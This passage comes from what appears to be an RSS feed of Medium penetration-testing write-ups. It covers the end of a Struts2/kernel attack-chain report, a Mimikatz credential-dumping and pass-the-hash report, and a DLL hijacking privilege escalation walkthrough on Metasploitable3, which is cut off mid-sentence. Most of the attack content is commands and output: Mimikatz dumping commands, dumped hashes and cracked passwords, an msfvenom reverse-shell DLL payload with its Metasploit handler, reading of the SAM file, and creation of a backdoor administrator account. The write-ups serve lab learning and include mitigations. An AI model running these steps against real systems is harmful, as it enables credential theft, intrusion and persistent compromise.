NOT go to KITT-3n.  Classified documents:  cyberspacekittens.com/therealplan</pre><h3>Attack Chain Summary</h3><pre>1. Reconnaissance → Identified Struts2 server (172.16.250.12)<br>2. Initial Access → Exploited CVE-2017-5638 → Tomcat shell<br>3. Privilege Escalation → BPF kernel exploit (CVE-2020-8835) → Root access<br>4. Credential Discovery → SSH private key in /root/.ssh/<br>5. Lateral Movement → SSH to Struts2 server (172.16.250.12) as root<br>6. Credential Harvesting → Extracted Jenkins credential files from /home/jenkins<br>7. Credential Decryption → Obtained db_backup credentials ()uDvra{4UL^;r?*h)<br>8. Lateral Movement → SSH to DB server (172.16.250.10) as db_backup<br>9. Privilege Escalation → Sudo to root (db_backup had ALL privileges)<br>10. Data Extraction → Located encoded data in MySQL database (cyberspacekittens)<br>11. Data Decryption → Decoded meow/purr binary to reveal intelligence<br>12. Final Objective → Extracted classified intelligence reference</pre><h3>Vulnerabilities Exploited</h3><ol><li><strong>CVE-2017–5638</strong> — Apache Struts2 Remote Code Executio</li></ol><ul><li>CVSS Score: 10.0 (Critical)</li><li>Allowed initial system compromise</li></ul><p><strong>2.CVE-2020–8835</strong> — Linux Kernel BPF Privilege Escalation</p><ul><li>CVSS Score: 7.8 (High)</li><li>Enabled privilege escalation to root</li></ul><ol><li><strong>Weak Credential Management</strong> — SSH key reuse across systems</li></ol><ul><li>SSH private key accessible in default location</li><li>Same key granted access to multiple systems</li></ul><ol><li><strong>Overly Permissive Sudo Rights</strong> — db_backup with (ALL : ALL) ALL privileges</li></ol><ul><li>No password required for sudo operations</li><li>Direct path to root access</li></ul><ol><li><strong>Insufficient Network Segmentation</strong> — Trusted internal network assumptions</li></ol><ul><li>No additional authentication between internal systems</li><li>Lateral movement unimpeded</li></ul><ol><li><strong>Hardcoded/Encoded Secrets</strong> — Meow/purr encoding provided minimal security</li></ol><ul><li>Simple substitution cipher easily decoded</li><li>Sensitive data stored in accessible database files</li></ul><h3>Security Recommendations</h3><h3>Immediate Actions (Critical — Within 24 Hours)</h3><ol><li><strong>Patch Apache Struts2</strong></li></ol><ul><li>Update to latest version (2.5.33 or higher)</li><li>Review all web applications for vulnerable versions</li></ul><p><strong>2.Update Linux Kernels</strong></p><ul><li>Patch to mitigate BPF vulnerabilities (4.4.0–116 or later)</li><li>Implement regular kernel update schedule</li></ul><p><strong>3.Rotate SSH Keys</strong></p><ul><li>Generate unique SSH keys per system</li><li>Remove and regenerate all existing SSH keys</li><li>Implement SSH key management policy</li></ul><p><strong>4.Restrict Sudo Privileges</strong></p><ul><li>Remove (ALL : ALL) ALL from db_backup user</li><li>Implement principle of least privilege</li><li>Require passwords for all sudo operations</li></ul><p><strong>5.Segment Internal Network</strong></p><ul><li>Implement additional authentication between network segments</li><li>Deploy host-based firewalls</li><li>Restrict SSH access to bastion hosts only</li></ul><h3>Conclusion</h3><p>This engagement successfully demonstrated a complete attack chain from external reconnaissance through full network compromise. The attack path highlighted critical security failures including:</p><ul><li><strong>Unpatched Software Vulnerabilities</strong> — Both CVE-2017–5638 and CVE-2020–8835 had patches available</li><li><strong>Poor Credential Hygiene</strong> — SSH key reuse and weak credential storage</li><li><strong>Excessive Privileges</strong> — Sudo configuration allowing unrestricted access</li><li><strong>Inadequate Network Segmentation</strong> — Internal systems operating on trust model</li><li><strong>Weak Cryptography</strong> — Simple encoding scheme instead of proper encryption</li></ul><p>The final extracted intelligence (Do NOT go to KITT-3n. Classified documents: cyberspacekittens.com/therealplan) indicates this network was hosting sensitive operational data requiring immediate remediation.</p><p>All three systems in the target network (172.16.250.10, 172.16.250.11, 172.16.250.12) were successfully compromised with root-level access achieved on each system. The engagement demonstrated how attackers can chain multiple vulnerabilities and misconfigurations to achieve complete network compromise despite limited initial access.</p><h3>Appendix: Tools Used</h3><ul><li><strong>nmap</strong> — Network and service discovery</li><li><strong>Metasploit Framework</strong> — Exploitation and post-exploitation</li><li><strong>Meterpreter</strong> — Remote administration payload</li><li><strong>jenkins-decrypt</strong> — Jenkins credential decryption (https://github.com/cheetz/jenkins-decrypt)</li><li><strong>Python 3</strong> — Scripting and data manipulation</li><li><strong>pycryptodome</strong> — Cryptography library for Jenkins decryption</li><li><strong>hexdump</strong> — Binary data analysis</li><li><strong>grep</strong> — Pattern matching and extraction</li><li><strong>base64</strong> — Data encoding/decoding</li><li><strong>SSH</strong> — Lateral movement</li><li><strong>Standard Linux utilities</strong> — cat, ls, sudo, etc.</li></ul><p><em>This writeup documents a controlled penetration testing engagement. All activities were authorized and conducted in a lab environment. Unauthorized access to computer systems is illegal.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=93cc9c8d12c0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Post‑Exploitation Report: Credential Dumping & Privilege Escalation Using Mimikatz]]></title>
            <link>https://medium.com/@nataanakuria/post-exploitation-report-credential-dumping-privilege-escalation-using-mimikatz-cc0601e86881?source=rss-868fb6bf77fe------2</link>
            <guid isPermaLink="false">https://medium.com/p/cc0601e86881</guid>
            <dc:creator><![CDATA[Nataanakuria]]></dc:creator>
            <pubDate>Mon, 08 Dec 2025 11:12:26 GMT</pubDate>
            <atom:updated>2025-12-08T11:12:26.386Z</atom:updated>
            <content:encoded><![CDATA[<h3>Overview</h3><p>After obtaining a foothold on the Windows Server 2008 machine via Evil‑WinRM, Mimikatz was used to extract credentials, dump NTLM hashes, retrieve LSA secrets, and ultimately perform a successful Pass‑the‑Hash attack to gain full Administrator access. This section documents the methodology and findings.</p><h3>1. Credential Extraction from Memory (sekurlsa::logonpasswords)</h3><p>With local access established, Mimikatz was executed to extract clear‑text passwords, NTLM hashes, and active session tokens:</p><pre>.\mimikatz.exe &quot;privilege::debug&quot; &quot;sekurlsa::logonpasswords&quot; &quot;exit&quot;</pre><h3>Recovered Credentials</h3><ul><li><strong>vagrant (Local User)</strong></li><li>Clear‑text password: vagrant</li><li>NTLM hash: e02bc503339d51f71d913c245d35b50b</li><li><strong>sshd_server (Service Account)</strong></li><li>Password: D@rj33l1ng</li><li><strong>Credential Manager Stored Entry</strong></li><li>Username: chewbacca@172.28.128.3</li><li>Password: rwaaaaawr5</li></ul><p><strong>Impact:</strong> Immediate access to multiple local and service accounts, enabling lateral movement and privilege escalation opportunities.</p><h3>2. Local SAM Database Dump (lsadump::sam)</h3><p>Token impersonation was used to obtain SYSTEM privileges. The SAM database was then extracted:</p><pre>.\mimikatz.exe &quot;privilege::debug&quot; &quot;token::elevate&quot; &quot;lsadump::sam&quot; &quot;exit&quot;</pre><h3>Extracted User NTLM Hashes</h3><pre>Administrator:         e02bc503339d51f71d913c245d35b50b  # SAME as vagrant!<br>vagrant:               e02bc503339d51f71d913c245d35b50b  # Already compromised<br>sshd_server:           8d0a16cfc061c3359db455d00ec27035  # Password: D@rj33l1ng<br>leia_organa:           8ae6a810ce203621cf9cfa6f21f14028<br>luke_skywalker:        481e6150bde6998ed22b0e9bac82005a<br>han_solo:              33ed98c5969d05a7c15c25c99e3ef951<br>artoo_detoo:           fac6aada8b7afc418b3afea63b7577b4<br>c_three_pio:           0fd2eb40c4aa690171ba066c037397ee<br>ben_kenobi:            4fb77d816bce7aeee80d7c2e5e55c859<br>darth_vader:           b73a851f8ecff7acafbaa4a806aea3e0<br>anakin_skywalker:      c706f83a7b17a0230e55cde2f3de94fa<br>jarjar_binks:          ec1dcd52077e75aef4a1930b0917c4d4<br>lando_calrissian:      62708455898f2d7db11cfb670042a53f<br>boba_fett:             d60f9a4859da4feadaf160e97d200dc9<br>jabba_hutt:            93ec4eaa63d63565f37fe7f28d99ce76<br>greedo:                ce269c6b7d9e2f1522b44686b49082db  # Password:hanShotFirst!<br>chewbacca:             e7200536327ee731c7fe136af4575ed8  # Password: rwaaaaawr5<br>kylo_ren:              74c0a3dd06613d3240331e94ae18b001  # password: daddy_issues1</pre><p>Critical Finding</p><p><strong>Administrator and vagrant share the same NTLM hash</strong>, meaning both accounts use the same password.<br> This enabled instant privilege escalation to Administrator without cracking any password.I also used an online NTLM to crack all this hashes and in result got clear text credentials that you can use to login to this accounts .We can try kylo_ren to confirm whether our cracked password work ie</p><p><strong>santan㉿November)-[~]<br>└─$ evil-winrm -i 127.0.0.1 -u kylo_ren -p daddy_issues1 -P 55985<br> <br>Evil-WinRM shell v3.7<br> <br>Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc’ for module Reline<br> <br>Data: For more information, check Evil-WinRM GitHub: </strong><a href="https://github.com/Hackplayers/evil-winrm#Remote-path-completion"><strong>https://github.com/Hackplayers/evil-winrm#Remote-path-completion</strong></a><strong><br> <br>Info: Establishing connection to remote endpoint<br>*Evil-WinRM* PS C:\Users\kylo_ren\Documents&gt; whoami<br>metasploitable3\kylo_ren</strong></p><h3>3. Extraction of LSA Secrets (lsadump::secrets)</h3><p>Additional secrets stored by the Local Security Authority were recovered:</p><pre>.\mimikatz.exe &quot;privilege::debug&quot; &quot;token::elevate&quot; &quot;lsadump::secrets&quot; &quot;exit&quot;</pre><h3>Recovered Secrets</h3><ul><li><strong>DPAPI_SYSTEM master keys</strong></li><li>Can be used to decrypt browser passwords, Wi-Fi keys, and saved credentials.</li><li><strong>NL$KM key</strong></li><li>Enables decryption of cached domain credentials.</li><li><strong>OpenSSHd Service Secret</strong></li><li>Password for sshd_server: D@rj33l1ng</li></ul><p><strong>Impact:</strong> Ability to decrypt protected credentials and recover domain-cached logons.</p><h3>4. Pass‑the‑Hash Attack (Full Administrator Compromise)</h3><p>Using the Administrator NTLM hash extracted from SAM, a Pass‑the‑Hash attack was performed:</p><pre>.\mimikatz.exe &quot;privilege::debug&quot; &quot;sekurlsa::pth /user:Administrator /domain:METASPLOITABLE3 /ntlm:e02bc503339d51f71d913c245d35b50b /run:cmd.exe&quot; &quot;exit&quot;</pre><h3>Result</h3><ul><li>Successfully spawned a new process as <strong>Administrator</strong> (PID 3296).</li><li>Gained unrestricted access to the system.</li></ul><p><strong>Impact:</strong> Full administrative compromise without knowing or cracking any password.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cc0601e86881" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Complete DLL Hijacking Privilege Escalation Write-up — Metasploitable3]]></title>
            <link>https://medium.com/@nataanakuria/complete-dll-hijacking-privilege-escalation-write-up-metasploitable3-33e8c0d0a51f?source=rss-868fb6bf77fe------2</link>
            <guid isPermaLink="false">https://medium.com/p/33e8c0d0a51f</guid>
            <dc:creator><![CDATA[Nataanakuria]]></dc:creator>
            <pubDate>Fri, 05 Dec 2025 13:11:15 GMT</pubDate>
            <atom:updated>2025-12-05T13:11:15.189Z</atom:updated>
            <content:encoded><![CDATA[<h3>Complete DLL Hijacking Privilege Escalation Write-up — Metasploitable3</h3><h3>Executive Summary</h3><p>This write-up demonstrates a complete DLL hijacking attack to escalate privileges from a low-privileged user (lowpriv) to SYSTEM on a Metasploitable3 Windows machine. The attack exploits a writable directory in the system PATH that is searched by services running as LocalSystem when loading DLLs.</p><h3>Phase 1: Reconnaissance and Enumeration</h3><h3>1.1 Identifying Target Processes</h3><p>After gaining initial access via Evil-WinRM, we enumerated processes running from Program Files:</p><pre>Get-Process | Where-Object {$_.Path -like &quot;*program files*&quot;} | Select-Object Name, Path, Id</pre><p><strong>Output:</strong></p><pre>Name                      Path                                                                                      Id<br>----                      ----                                                                                      --<br>cygrunsrv                 C:\Program Files\OpenSSH\bin\cygrunsrv.exe                                              2248<br>elasticsearch-service-x64 C:\Program Files\elasticsearch-1.1.1\bin\elasticsearch-service-x64.exe                  1376<br>java                      C:\Program Files\Java\jdk1.8.0_211\bin\java.exe                                          324<br>jenkins                   C:\Program Files\jenkins\jenkins.exe                                                    1440<br>jmx                       C:\Program Files\jmx\jmx.exe                                                            1788<br>tomcat8                   C:\Program Files\Apache Software Foundation\tomcat\apache-tomcat-8.0.33\bin\tomcat8.exe 3220</pre><p><strong>Finding:</strong> Multiple services identified as potential targets.</p><h3>1.2 PATH Environment Variable Analysis</h3><p>We examined the PATH environment variable for writable directories:</p><pre>$env:PATH -split &#39;;&#39; | ForEach-Object { icacls $_ }</pre><p><strong>Critical Discovery — Writable PATH Directory:</strong></p><pre>C:\tools\ruby23\bin NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)<br>                    BUILTIN\Administrators:(I)(OI)(CI)(F)<br>                    BUILTIN\Users:(I)(OI)(CI)(RX)<br>                    BUILTIN\Users:(I)(CI)(AD)    ← Write Data permission<br>                    BUILTIN\Users:(I)(CI)(WD)    ← Append Data permission<br>                    METASPLOITABLE3\vagrant:(I)(F)<br>                    CREATOR OWNER:(I)(OI)(CI)(IO)(F)</pre><p><strong>Key Findings:</strong></p><ul><li>✅ C:\tools\ruby23\bin is writable by BUILTIN\Users</li><li>✅ Low-privileged users can place files in this directory</li><li>✅ This directory is in the system PATH</li></ul><p><strong>Verification of PATH Order:</strong></p><pre>$env:PATH -split &#39;;&#39;</pre><p><strong>Output:</strong></p><pre>C:\tools\ruby23\bin                                          ← FIRST in PATH!<br>C:\Program Files (x86)\Common Files\Oracle\Java\javapath<br>C:\ProgramData\Boxstarter<br>C:\Windows\system32<br>C:\Windows<br>C:\Windows\System32\Wbem<br>...</pre><p><strong>Critical Finding:</strong> The writable directory is <strong>first</strong> in the PATH search order!</p><h3>1.3 Service Privilege Enumeration</h3><p>We identified services running with elevated privileges.</p><p><strong>Jenkins Service:</strong></p><pre>Get-WmiObject Win32_Service -Filter &quot;Name=&#39;jenkins&#39;&quot; | Select-Object Name, DisplayName, State, StartName, PathName | Format-List</pre><p><strong>Output:</strong></p><pre>Name        : jenkins<br>DisplayName : jenkins<br>State       : Running<br>StartName   : NT AUTHORITY\LocalService<br>PathName    : &quot;C:\Program Files\jenkins\jenkins.exe&quot; &quot;-ServiceExec&quot;</pre><p><strong>JMX Service:</strong></p><pre>Get-WmiObject Win32_Service -Filter &quot;Name=&#39;jmx&#39;&quot; | Select-Object Name, DisplayName, State, StartName, PathName | Format-List</pre><p><strong>Output:</strong></p><pre>Name        : jmx<br>DisplayName : jmx<br>State       : Running<br>StartName   : NT AUTHORITY\LocalService<br>PathName    : &quot;C:\Program Files\jmx\jmx.exe&quot; &quot;-ServiceExec&quot;</pre><p><strong>Finding LocalSystem Services:</strong></p><pre>Get-WmiObject Win32_Service | Where-Object {$_.StartName -eq &quot;LocalSystem&quot; -and $_.State -eq &quot;Running&quot; -and $_.PathName -like &quot;*Program Files*&quot;} | Select-Object Name, DisplayName, StartName, PathName | Format-Table -AutoSize</pre><p><strong>Output:</strong></p><pre>Name                      DisplayName                                     StartName   PathName<br>----                      -----------                                     ---------   --------<br>elasticsearch-service-x64 Elasticsearch 1.1.1 (elasticsearch-service-x64) LocalSystem &quot;C:\Program Files\elasticsearch-1.1.1\bin\elasticsearch-service-x64.exe&quot; //RS//elasticsearch-service-x64<br>Tomcat8                   Apache Tomcat 8.0 Tomcat8                       LocalSystem &quot;C:\Program Files\Apache Software Foundation\tomcat\apache-tomcat-8.0.33\bin\tomcat8.exe&quot; //RS//Tomcat8</pre><p><strong>Target Selected:</strong> elasticsearch-service-x64 running as <strong>LocalSystem</strong></p><h3>Phase 2: Vulnerability Analysis</h3><h3>2.1 Directory Permission Verification</h3><p>We verified we cannot write directly to the elasticsearch directory:</p><pre>icacls &quot;C:\Program Files\elasticsearch-1.1.1\bin&quot;</pre><p><strong>Output:</strong></p><pre>C:\Program Files\elasticsearch-1.1.1\bin NT SERVICE\TrustedInstaller:(I)(F)<br>                                         BUILTIN\Users:(I)(RX)    ← Read/Execute only<br>                                         ...</pre><p><strong>Conclusion:</strong> Direct DLL placement in application directory is not possible.</p><h3>2.2 Understanding Windows DLL Search Order</h3><p><strong>Windows DLL Search Order:</strong></p><ol><li>Application’s directory (e.g., C:\Program Files\elasticsearch-1.1.1\bin)</li><li>System directories (C:\Windows\System32, C:\Windows\System)</li><li>Current working directory</li><li><strong>Directories in PATH environment variable (in order)</strong></li></ol><p><strong>Attack Vector Identified:</strong></p><ul><li>Elasticsearch runs as LocalSystem</li><li>It will search for DLLs in the PATH if not found elsewhere</li><li>C:\tools\ruby23\bin is first in PATH and writable</li><li>We can place a malicious DLL there to hijack the loading process</li></ul><h3>2.3 DLL Dependency Analysis</h3><p>We identified DLLs currently loaded by elasticsearch:</p><pre>tasklist /m /fi &quot;imagename eq elasticsearch-service-x64.exe&quot;</pre><p><strong>Output (Partial):</strong></p><pre>Image Name                     PID Modules<br>========================= ======== ============================================<br>elasticsearch-service-x64     1376 ntdll.dll, kernel32.dll, KERNELBASE.dll,<br>                                   ADVAPI32.dll, msvcrt.dll, sechost.dll,<br>                                   VERSION.dll, PSAPI.DLL, MSVCR100.dll,<br>                                   profapi.dll, CRYPTSP.dll, ...</pre><p><strong>Strategy:</strong> Use a common DLL name that services often search for but may not exist on the system. <strong>DLL Selected:</strong> wlbsctrl.dll (Windows Load Balancing Service Control DLL - commonly searched, rarely present)</p><h3>2.4 User Privilege Assessment</h3><pre>whoami /priv</pre><p><strong>Output:</strong></p><pre>PRIVILEGES INFORMATION<br>----------------------<br>Privilege Name                  Description                               State<br>=============================== ========================================= =======<br>SeDebugPrivilege                Debug programs                            Enabled<br>SeImpersonatePrivilege          Impersonate a client after authentication Enabled<br>SeTakeOwnershipPrivilege        Take ownership of files or other objects  Enabled<br>SeLoadDriverPrivilege           Load and unload device drivers            Enabled<br>SeBackupPrivilege               Back up files and directories             Enabled<br>SeRestorePrivilege              Restore files and directories             Enabled<br>...</pre><p><strong>Note:</strong> While multiple privilege escalation vectors exist (SeImpersonatePrivilege for token impersonation attacks), we focused on DLL hijacking for this exercise.</p><h3>2.5 Service Control Verification</h3><p>We verified our ability to control the target service.</p><p><strong>Service Status:</strong></p><pre>Get-Service -Name elasticsearch-service-x64 | Select-Object Name, DisplayName, Status, ServiceType, StartType, DependentServices, ServicesDependedOn</pre><p><strong>Output:</strong></p><pre>Name               : elasticsearch-service-x64<br>DisplayName        : Elasticsearch 1.1.1 (elasticsearch-service-x64)<br>Status             : Running<br>ServiceType        : Win32OwnProcess<br>StartType          :<br>DependentServices  : {}<br>ServicesDependedOn : {Afd, Tcpip}</pre><p><strong>Testing Service Stop:</strong></p><pre>net stop elasticsearch-service-x64</pre><p><strong>Output:</strong></p><pre>The Elasticsearch 1.1.1 (elasticsearch-service-x64) service is stopping.<br>The Elasticsearch 1.1.1 (elasticsearch-service-x64) service was stopped successfully.</pre><p><strong>Testing Service Start:</strong></p><pre>net start elasticsearch-service-x64</pre><p><strong>Output:</strong></p><pre>The Elasticsearch 1.1.1 (elasticsearch-service-x64) service is starting.<br>The Elasticsearch 1.1.1 (elasticsearch-service-x64) service was started successfully.</pre><p><strong>✅ Confirmed:</strong> We have full control to restart the target service.</p><h3>Phase 3: Exploit Development and Deployment</h3><h3>3.1 Malicious DLL Creation</h3><p><strong>On Kali Linux (192.168.0.107):</strong></p><pre>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=4444 -f dll -o wlbsctrl.dll</pre><p><strong>Output:</strong></p><pre>[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload<br>[-] No arch selected, selecting arch: x64 from the payload<br>No encoder specified, outputting raw payload<br>Payload size: 510 bytes<br>Final size of dll file: 9216 bytes<br>Saved as: wlbsctrl.dll</pre><p><strong>Payload Details:</strong></p><ul><li><strong>Type:</strong> Windows x64 Meterpreter Reverse TCP</li><li><strong>Callback IP:</strong> 192.168.0.107</li><li><strong>Callback Port:</strong> 4444</li><li><strong>Raw Payload Size:</strong> 510 bytes</li><li><strong>Final DLL Size:</strong> 9216 bytes</li><li><strong>DLL Name:</strong> wlbsctrl.dll</li></ul><h3>3.2 Setting Up the Handler</h3><p><strong>In Metasploit Console:</strong></p><pre>msfconsole -q<br>use exploit/multi/handler<br>set payload windows/x64/meterpreter/reverse_tcp<br>set LHOST 192.168.0.107<br>set LPORT 4444<br>set ExitOnSession false<br>exploit -j</pre><p><strong>Output:</strong></p><pre>msf exploit(multi/handler) &gt; exploit -j<br>[*] Exploit running as background job 0.<br>[*] Exploit completed, but no session was created.<br>[*] Started reverse TCP handler on 192.168.0.107:4444</pre><p><strong>✅ Handler Status:</strong> Listening and ready to receive connections</p><h3>3.3 DLL Deployment</h3><p><strong>On Windows Target via Evil-WinRM:</strong></p><p><strong>Navigate to target directory:</strong></p><pre>cd C:\tools\ruby23\bin</pre><p><strong>Upload malicious DLL:</strong></p><pre>upload /home/santan/wlbsctrl.dll wlbsctrl.dll</pre><p><strong>Output:</strong></p><pre>Info: Uploading /home/santan/wlbsctrl.dll to C:\tools\ruby23\bin\wlbsctrl.dll<br>Data: 12288 bytes of 12288 bytes copied<br>Info: Upload successful!</pre><p><strong>Verify DLL placement:</strong></p><pre>ls wlbsctrl.dll</pre><p><strong>Output:</strong></p><pre>Directory: C:\tools\ruby23\bin<br>Mode                LastWriteTime         Length Name<br>----                -------------         ------ ----<br>-a----        12/4/2025   4:11 AM           9216 wlbsctrl.dll</pre><p><strong>✅ Confirmed:</strong> Malicious DLL successfully deployed to writable PATH directory</p><h3>Phase 4: Exploitation</h3><h3>4.1 Triggering the Exploit</h3><p><strong>Stop the service:</strong></p><pre>net stop elasticsearch-service-x64</pre><p><strong>Output:</strong></p><pre>The Elasticsearch 1.1.1 (elasticsearch-service-x64) service is stopping.<br>The Elasticsearch 1.1.1 (elasticsearch-service-x64) service was stopped successfully.</pre><p><strong>Start the service (trigger DLL hijacking):</strong></p><pre>net start elasticsearch-service-x64</pre><p><strong>Output:</strong></p><pre>The Elasticsearch 1.1.1 (elasticsearch-service-x64) service is starting.<br>The Elasticsearch 1.1.1 (elasticsearch-service-x64) service was started successfully.</pre><h3>Phase 5: Post-Exploitation and Confirmation</h3><h3>Metasploit Handler Output:</h3><pre>[*] Sending stage (201798 bytes) to 192.168.0.XXX<br>[*] Meterpreter session 1 opened (192.168.0.107:4444 -&gt; 192.168.0.XXX:XXXXX) at 2025-12-04 04:12:34 +0300</pre><h3>5.1 Session Verification</h3><p><strong>Check active sessions:</strong></p><pre>sessions -i</pre><p><strong>Output:</strong></p><pre>Active sessions<br>===============</pre><pre>  Id  Name  Type                     Information                   Connection<br>  --  ----  ----                     -----------                   ----------<br>  1         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ META... 192.168.0.107:4444 -&gt; 192.168.0.XXX:XXXXX (192.168.0.XXX)</pre><h3>5.2 Interacting with the Session</h3><p><strong>Connect to the session:</strong></p><pre>sessions -i 1</pre><p><strong>Meterpreter Prompt:</strong></p><pre>[*] Starting interaction with 1...</pre><pre>meterpreter &gt;</pre><h3>5.3 Privilege Verification</h3><p><strong>Check current user:</strong></p><pre>meterpreter &gt; getuid</pre><p><strong>Output:</strong></p><pre>Server username: NT AUTHORITY\SYSTEM</pre><p><strong>Check system information:</strong></p><pre>meterpreter &gt; sysinfo</pre><p><strong>Output:</strong></p><pre>Computer        : METASPLOITABLE3<br>OS              : Windows 2008 R2 (6.1 Build 7601, Service Pack 1).<br>Architecture    : x64<br>System Language : en_US<br>Domain          : WORKGROUP<br>Logged On Users : X<br>Meterpreter     : x64/windows</pre><p><strong>Check privileges:</strong></p><pre>meterpreter &gt; getprivs</pre><p><strong>Output:</strong></p><pre>Enabled Process Privileges<br>==========================</pre><pre>Name<br>----<br>SeAssignPrimaryTokenPrivilege<br>SeAuditPrivilege<br>SeBackupPrivilege<br>SeChangeNotifyPrivilege<br>SeCreateGlobalPrivilege<br>SeCreatePagefilePrivilege<br>SeCreatePermanentPrivilege<br>SeCreateSymbolicLinkPrivilege<br>SeDebugPrivilege<br>SeImpersonatePrivilege<br>SeIncreaseBasePriorityPrivilege<br>SeIncreaseQuotaPrivilege<br>SeIncreaseWorkingSetPrivilege<br>SeLoadDriverPrivilege<br>SeLockMemoryPrivilege<br>SeManageVolumePrivilege<br>SeProfileSingleProcessPrivilege<br>SeRestorePrivilege<br>SeSecurityPrivilege<br>SeShutdownPrivilege<br>SeSystemEnvironmentPrivilege<br>SeSystemProfilePrivilege<br>SeSystemtimePrivilege<br>SeTakeOwnershipPrivilege<br>SeTcbPrivilege<br>SeTimeZonePrivilege<br>SeUndockPrivilege</pre><h3>5.4 Process Information</h3><p><strong>Check current process:</strong></p><pre>meterpreter &gt; ps</pre><p><strong>Look for elasticsearch-service-x64.exe running as SYSTEM:</strong></p><pre>Process List<br>============</pre><pre> PID   PPID  Name                          Arch  Session  User                          Path<br> ---   ----  ----                          ----  -------  ----                          ----<br> 1376  624   elasticsearch-service-x64.exe x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\elasticsearch-1.1.1\bin\elasticsearch-service-x64.exe</pre><h3>5.5 Demonstrating SYSTEM Access</h3><p><strong>Read a protected file:</strong></p><pre>meterpreter &gt; cat &quot;C:\\Windows\\System32\\config\\SAM&quot;</pre><p><strong>Create a file in a protected directory:</strong></p><pre>meterpreter &gt; shell<br>Process 4532 created.<br>Channel 1 created.<br>Microsoft Windows [Version 6.1.7601]<br>Copyright (c) 2009 Microsoft Corporation.  All rights reserved.</pre><pre>C:\Windows\system32&gt; whoami<br>whoami<br>nt authority\system</pre><pre>C:\Windows\system32&gt; echo &quot;Privilege Escalation Successful&quot; &gt; C:\Windows\pwned.txt</pre><pre>C:\Windows\system32&gt; type C:\Windows\pwned.txt<br>&quot;Privilege Escalation Successful&quot;</pre><p><strong>Add a new administrator user (optional):</strong></p><pre>meterpreter &gt; shell<br>net user hacker Password123! /add<br>net localgroup administrators hacker /add</pre><h3>Complete Attack Chain Summary</h3><pre>┌─────────────────────────────────────────────────────────────────┐<br>│ Phase 1: Reconnaissance                                         │<br>├─────────────────────────────────────────────────────────────────┤<br>│ ✓ Identified writable PATH directory: C:\tools\ruby23\bin      │<br>│ ✓ Found target service: elasticsearch-service-x64              │<br>│ ✓ Confirmed service runs as LocalSystem                        │<br>│ ✓ Verified ability to restart service                          │<br>└─────────────────────────────────────────────────────────────────┘<br>                            ↓<br>┌─────────────────────────────────────────────────────────────────┐<br>│ Phase 2: Exploit Development                                    │<br>├─────────────────────────────────────────────────────────────────┤<br>│ ✓ Created malicious DLL with msfvenom                          │<br>│ ✓ Set up Metasploit handler on Kali                            │<br>│ ✓ Uploaded DLL to C:\tools\ruby23\bin\wlbsctrl.dll            │<br>└─────────────────────────────────────────────────────────────────┘<br>                            ↓<br>┌─────────────────────────────────────────────────────────────────┐<br>│ Phase 3: Exploitation                                           │<br>├─────────────────────────────────────────────────────────────────┤<br>│ ✓ Restarted elasticsearch service                              │<br>│ ✓ Service loaded wlbsctrl.dll from PATH                        │<br>│ ✓ Malicious DLL executed as SYSTEM                             │<br>│ ✓ Meterpreter callback established                             │<br>└─────────────────────────────────────────────────────────────────┘<br>                            ↓<br>┌─────────────────────────────────────────────────────────────────┐<br>│ Result: SYSTEM Shell Obtained                                   │<br>├─────────────────────────────────────────────────────────────────┤<br>│ User: NT AUTHORITY\SYSTEM                                       │<br>│ Privileges: Full administrative control                         │<br>│ Access: Complete system compromise                              │<br>└─────────────────────────────────────────────────────────────────┘</pre><h3>Technical Details</h3><h3>Vulnerability Classification</h3><ul><li><strong>Type:</strong> DLL Search Order Hijacking / Insecure PATH Permissions</li><li><strong>CVE:</strong> N/A (Configuration vulnerability)</li><li><strong>CVSS:</strong> High (Privilege Escalation)</li><li><strong>Attack Vector:</strong> Local</li><li><strong>Privileges Required:</strong> Low</li><li><strong>User Interaction:</strong> None</li></ul><h3>Root Cause Analysis</h3><ol><li><strong>Writable PATH Directory:</strong> C:\tools\ruby23\bin has overly permissive ACLs allowing BUILTIN\Users write access</li><li><strong>PATH Priority:</strong> The writable directory is first in the system PATH search order</li><li><strong>Service Execution Context:</strong> Target service runs as LocalSystem with full privileges</li><li><strong>DLL Search Behavior:</strong> Windows searches PATH directories when DLLs are not found in application or system directories</li></ol><h3>Why This Works</h3><ul><li>When elasticsearch-service-x64.exe starts, it loads various DLLs</li><li>If a DLL isn’t found in its own directory or system directories, Windows searches the PATH</li><li>Since C:\tools\ruby23\bin is first in PATH and writable, our malicious wlbsctrl.dll is found and loaded</li><li>The DLL executes with the same privileges as the service (LocalSystem)</li><li>Our Meterpreter payload connects back, giving us a SYSTEM shell</li></ul><h3>Mitigation Recommendations</h3><h3>Immediate Actions</h3><ol><li><strong>Remove write permissions from PATH directories:</strong></li></ol><ul><li>icacls &quot;C:\tools\ruby23\bin&quot; /remove:g &quot;BUILTIN\Users&quot;</li></ul><ol><li><strong>Audit all PATH directories for weak permissions:</strong></li></ol><ul><li>$env:PATH -split &#39;;&#39; | ForEach-Object { icacls $_ }</li></ul><h3>Long-term Solutions</h3><ol><li><strong>Principle of Least Privilege:</strong> Services should run with minimum necessary privileges</li><li><strong>PATH Hardening:</strong> Only system-owned directories should be in system PATH</li><li><strong>DLL Safe Search Mode:</strong> Enable SafeDllSearchMode in registry</li><li><strong>Application Hardening:</strong> Use absolute paths for all DLL loads</li><li><strong>Regular Audits:</strong> Monitor for unauthorized files in system directories</li></ol><h3>Lessons Learned</h3><h3>Key Takeaways</h3><ol><li><strong>PATH directories must be carefully controlled</strong> — Any writable directory in PATH is a potential privilege escalation vector</li><li><strong>Service accounts require strict security</strong> — Services running as LocalSystem should load DLLs from trusted locations only</li><li><strong>Defense in depth is critical</strong> — Multiple security controls should prevent this type of attack</li><li><strong>Regular security audits are essential</strong> — File system permissions should be regularly reviewed</li></ol><h3>Detection Opportunities</h3><ul><li>Monitor for unexpected DLL files in PATH directories</li><li>Alert on service restarts coupled with new file creation in PATH directories</li><li>Use application whitelisting to prevent unauthorized DLLs from 